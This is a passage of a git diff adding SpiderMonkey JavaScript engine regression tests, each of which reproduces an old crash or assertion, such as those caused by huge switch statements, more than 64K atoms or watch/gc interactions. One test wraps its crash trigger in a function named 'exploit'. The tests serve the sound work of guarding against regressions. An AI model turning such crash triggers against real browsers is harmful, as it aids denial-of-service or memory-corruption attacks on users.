+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360969;
+var summary = '2^17: local function';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var global = this;
+
+//-----------------------------------------------------------------------------
+test();
+
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var start = new Date();
+ var p;
+ var i;
+ var limit = 2 << 16;
+
+ for (var i = 0; i < limit; i++)
+ {
+ eval('function pf' + i + '() {}');
+ }
+
+ reportCompare(expect, actual, summary);
+
+ var stop = new Date();
+
+ print('Elapsed time: ' + Math.floor((stop - start)/1000) + ' seconds');
+
+ exitFunc ('test');
+}
+
diff --git a/js/src/tests/js1_5/Regress/regress-360969-06.js b/js/src/tests/js1_5/Regress/regress-360969-06.js
new file mode 100644
index 000000000..cd95040fb
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-360969-06.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(Android&&isDebugBuild) slow -- bug 1216226
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360969;
+var summary = '2^17: global function';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var global = this;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var start = new Date();
+var p;
+var i;
+var limit = 2 << 16;
+
+for (var i = 0; i < limit; i++)
+{
+ eval('function pf' + i + '() {}');
+}
+
+reportCompare(expect, actual, summary);
+
+var stop = new Date();
+
+print('Elapsed time: ' + Math.floor((stop - start)/1000) + ' seconds');
+
diff --git a/js/src/tests/js1_5/Regress/regress-361467.js b/js/src/tests/js1_5/Regress/regress-361467.js
new file mode 100644
index 000000000..371c0a8b5
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-361467.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 361467;
+var summary = 'Do not crash with certain watchers';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Crash';
+
+ var x;
+ this.watch('x', print);
+ x = 5;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-361617.js b/js/src/tests/js1_5/Regress/regress-361617.js
new file mode 100644
index 000000000..5d20fd78f
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-361617.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 361617;
+var summary = 'Do not crash with getter, watch and gc';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function() {
+ Object.defineProperty(this, "x", { get: function(){}, enumerable: true, configurable: true });
+ })();
+ this.watch('x', print);
+ Object.defineProperty(this, "x", { get: function(){}, enumerable: true, configurable: true });
+ gc();
+ this.unwatch('x');
+ x;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-362583.js b/js/src/tests/js1_5/Regress/regress-362583.js
new file mode 100644
index 000000000..389ac539c
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-362583.js
@@ -0,0 +1,44 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 362583;
+var summary = 'Do not assert: caller->fun && !JSFUN_HEAVYWEIGHT_TEST(caller->fun->flags)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof Script == 'undefined')
+ {
+ expect = actual = 'Script object not defined, test skipped.';
+ }
+ else
+ {
+ try
+ {
+ this.x setter= (new Script(''));
+ this.watch('x', function() { return; import p.q; });
+ x = 4;
+ }
+ catch(ex)
+ {
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-3649-n.js b/js/src/tests/js1_5/Regress/regress-3649-n.js
new file mode 100644
index 000000000..33355163d
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-3649-n.js
@@ -0,0 +1,33 @@
+// |reftest| skip -- skip test due to random oom related errors.
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// testcase from bug 2235 mff@research.att.com
+var BUGNUMBER = 3649;
+var summary = 'gc-checking branch callback.';
+var actual = 'error';
+var expect = 'error';
+
+DESCRIPTION = summary;
+EXPECTED = expect;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(3);
+expectExitCode(5);
+
+var s = "";
+s = "abcd";
+for (i = 0; i < 100000; i++) {
+ s += s;
+}
+
+expect = 'No Crash';
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-366122.js b/js/src/tests/js1_5/Regress/regress-366122.js
new file mode 100644
index 000000000..ef458fe88
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-366122.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366122;
+var summary = 'Compile large script';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function exploit() {
+ var code = "", obj = {};
+ for(var i = 0; i < 0x10000; i++) {
+ if(i == 10242) {
+ code += "void 0x10000050505050;\n";
+ } else {
+ code += "void 'x" + i + "';\n";
+ }
+ }
+ code += "export undefined;\n";
+ code += "void 125;\n";
+ eval(code);
+ }
+ try
+ {
+ exploit();
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-366468.js b/js/src/tests/js1_5/Regress/regress-366468.js
new file mode 100644
index 000000000..457cc0e1c
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-366468.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366468;
+var summary = 'Set property without setter';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ function o(){} o.prototype = {get foo() {}}; obj = new o(); obj.foo = 2;
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-366601.js b/js/src/tests/js1_5/Regress/regress-366601.js
new file mode 100644
index 000000000..5178d9f9e
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-366601.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366601;
+var summary = 'Switch with more than 64k atoms';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var N = 100*1000;
+ var src = 'var x = ["';
+ var array = Array(N);
+ for (var i = 0; i != N; ++i)
+ array[i] = i;
+ src += array.join('","')+'"];\n';
+ src += 'switch (a) { case "a": case "b": case "c": return null; } return x;';
+ var f = Function('a', src);
+ var r = f("a");
+ if (r !== null)
+ throw "Unexpected result: bad switch label";
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-367561-01.js b/js/src/tests/js1_5/Regress/regress-367561-01.js
new file mode 100644
index 000000000..4504cdaad
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-367561-01.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367561;
+var summary = 'JSOP_(GET|SET)METHOD and JSOP_SETCONST with > 64K atoms';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var N = 1 << 16;
+ var src = 'var x = /';
+ var array = Array();
+ for (var i = 0; i != N/2; ++i)
+ array[i] = i;
+ src += array.join('/;x=/')+'/; x="';
+ src += array.join('";x="')+'";';
+ src += 'y.some_function();';
+ var f = Function(src);
+ var src2 = f.toString();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-367561-03.js b/js/src/tests/js1_5/Regress/regress-367561-03.js
new file mode 100644
index 000000000..cfb7432e2
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-367561-03.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367561;
+var summary = 'JSOP_(GET|SET)METHOD and JSOP_SETCONST with > 64K atoms';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var N = 1 << 16;
+ var src = 'var x = /';
+ var array = Array();
+ for (var i = 0; i != N/2; ++i)
+ array[i] = i;
+ src += array.join('/;x=/')+'/; x="';
+ src += array.join('";x="')+'";';
+ src += 'const some_const = 10';
+ eval(src);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-372364.js b/js/src/tests/js1_5/Regress/regress-372364.js
new file mode 100644
index 000000000..8117d0c58
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-372364.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 372364;
+var summary = 'Incorrect error message "() has no properties"';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('See Also bug 365891');
+ expect = /TypeError: a\(.+\) (has no properties|is null)/;
+ try
+ {
+ function a(){return null;} a(1)[0];
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+
+ expect = /TypeError: \/a\/.exec\(.+\) (has no properties|is null)/;
+ try
+ {
+ /a/.exec("b")[0];
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-379245.js b/js/src/tests/js1_5/Regress/regress-379245.js
new file mode 100644
index 000000000..9e4b46858
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-379245.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 379245;
+var summary = 'inline calls';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var fThis;
+
+ function f()
+ {
+ fThis = this;
+ return ({x: f}).x;
+ }
+
+ f()();
+
+ if (this !== fThis)
+ throw "bad this";
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-383674.js b/js/src/tests/js1_5/Regress/regress-383674.js
new file mode 100644
index 000000000..688e00629
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-383674.js
@@ -0,0 +1,58 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 383674;
+var summary = 'Statement that implicitly calls toString should not be optimized away as a "useless expression"';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ options("strict");
+ options("werror");
+
+ expect = 'toString called';
+ actual = 'toString not called';
+ try
+ {
+ var x = {toString: function() {
+ actual = 'toString called';
+ print(actual);
+ }
+ };
+ var f = function() { var j = x; j + ""; }
+ f();
+ reportCompare(expect, actual, summary + ': 1');
+ }
+ catch(ex)
+ {
+ reportCompare("No Error", ex + "", summary + ': 1');
+ }
+
+ actual = 'toString not called';
+ try
+ {
+ (function() { var a =
+ ({toString: function(){
+ actual = 'toString called'; print(actual)} }); a += ""; })();
+ reportCompare(expect, actual, summary + ': 2');
+ }
+ catch(ex)
+ {
+ reportCompare("No Error", ex + "", summary + ': 2');
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-383682.js b/js/src/tests/js1_5/Regress/regress-383682.js
new file mode 100644
index 000000000..def3c48ee
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-383682.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 383682;
+var summary = 'eval is too dynamic';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(s) {
+ return this.eval(s);
+ }
+
+ expect = 'PASS';
+ f("function g() { return('PASS'); }");
+ actual = g();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-385393-06.js b/js/src/tests/js1_5/Regress/regress-385393-06.js
new file mode 100644
index 000000000..327103f39
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-385393-06.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385393;
+var summary = 'Regression test for bug 385393';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, summary);
+
+ true.watch("x", function(){});
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-387951-01.js b/js/src/tests/js1_5/Regress/regress-387951-01.js
new file mode 100644
index 000000000..f58892b5f
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-387951-01.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 387951;
+var summary = 'Do not assert: cg->stackDepth >= 0';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (delete (0 ? 3 : {}));
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-387951-02.js b/js/src/tests/js1_5/Regress/regress-387951-02.js
new file mode 100644
index 000000000..2c9bf7118
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-387951-02.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 387951;
+var summary = 'Do not assert: cg->stackDepth >= 0';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ "" + (function() { if(delete(null?0:{})){[]} });
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-387951-03.js b/js/src/tests/js1_5/Regress/regress-387951-03.js
new file mode 100644
index 000000000..d614fa92a
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-387951-03.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 387951;
+var summary = 'Do not assert: cg->stackDepth >= 0';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ switch(delete[null?0:{}]){default:}
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-39309.js b/js/src/tests/js1_5/Regress/regress-39309.js
new file mode 100644
index 000000000..28e72f4be
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-39309.js
@@ -0,0 +1,76 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 30 Sep 2003
+ * SUMMARY: Testing concatenation of string + number
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=39309
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 39309;
+var summary = 'Testing concatenation of string + number';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f(textProp, len)
+{
+ var i = 0;
+ while (++i <= len)
+ {
+ var name = textProp + i;
+ actual = name;
+ }
+}
+
+
+status = inSection(1);
+f('text', 1); // sets |actual|
+expect = 'text1';
+addThis();
+
+status = inSection(2);
+f('text', 100); // sets |actual|
+expect = 'text100';
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-396684.js b/js/src/tests/js1_5/Regress/regress-396684.js
new file mode 100644
index 000000000..ab265a855
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-396684.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 396684;
+var summary = 'Function call with stack arena exhausted';
+var actual = '';
+var expect = '';
+
+/*
+ The test case builds a function containing f(0,0,...,0,Math.atan2()) with
+ enough zero arguments to exhaust the current stack arena fully. Thus, when
+ Math.atan2 is loaded into the stack, there would be no room for the extra 2
+ args required by Math.atan2 and args will be allocated from the new arena.
+*/
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function f() {
+ return arguments[arguments.length - 1];
+}
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'PASS';
+
+ var src = "return f(" +Array(10*1000).join("0,")+"Math.atan2());";
+
+ var result = new Function(src)();
+
+ if (typeof result != "number" || !isNaN(result))
+ actual = "unexpected result: " + result;
+ else
+ actual = 'PASS';
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-398085-01.js b/js/src/tests/js1_5/Regress/regress-398085-01.js
new file mode 100644
index 000000000..f57f6f022
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-398085-01.js
@@ -0,0 +1,745 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 398085;
+var summary = 'Do not crash with large switch statement';
+var actual = '';
+var expect = 'PASSED';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ ls("a, taken", "b, taken");
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
+
+
+function ls(a, b) {
+ switch(a) {
+ case "a, not taken":
+ // Next line requires 48 bytes: 8 * (getargprop (5 bytes) + add (1 byte))
+ // Repeated 700 times: 700 * 48 bytes = 33600 bytes
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
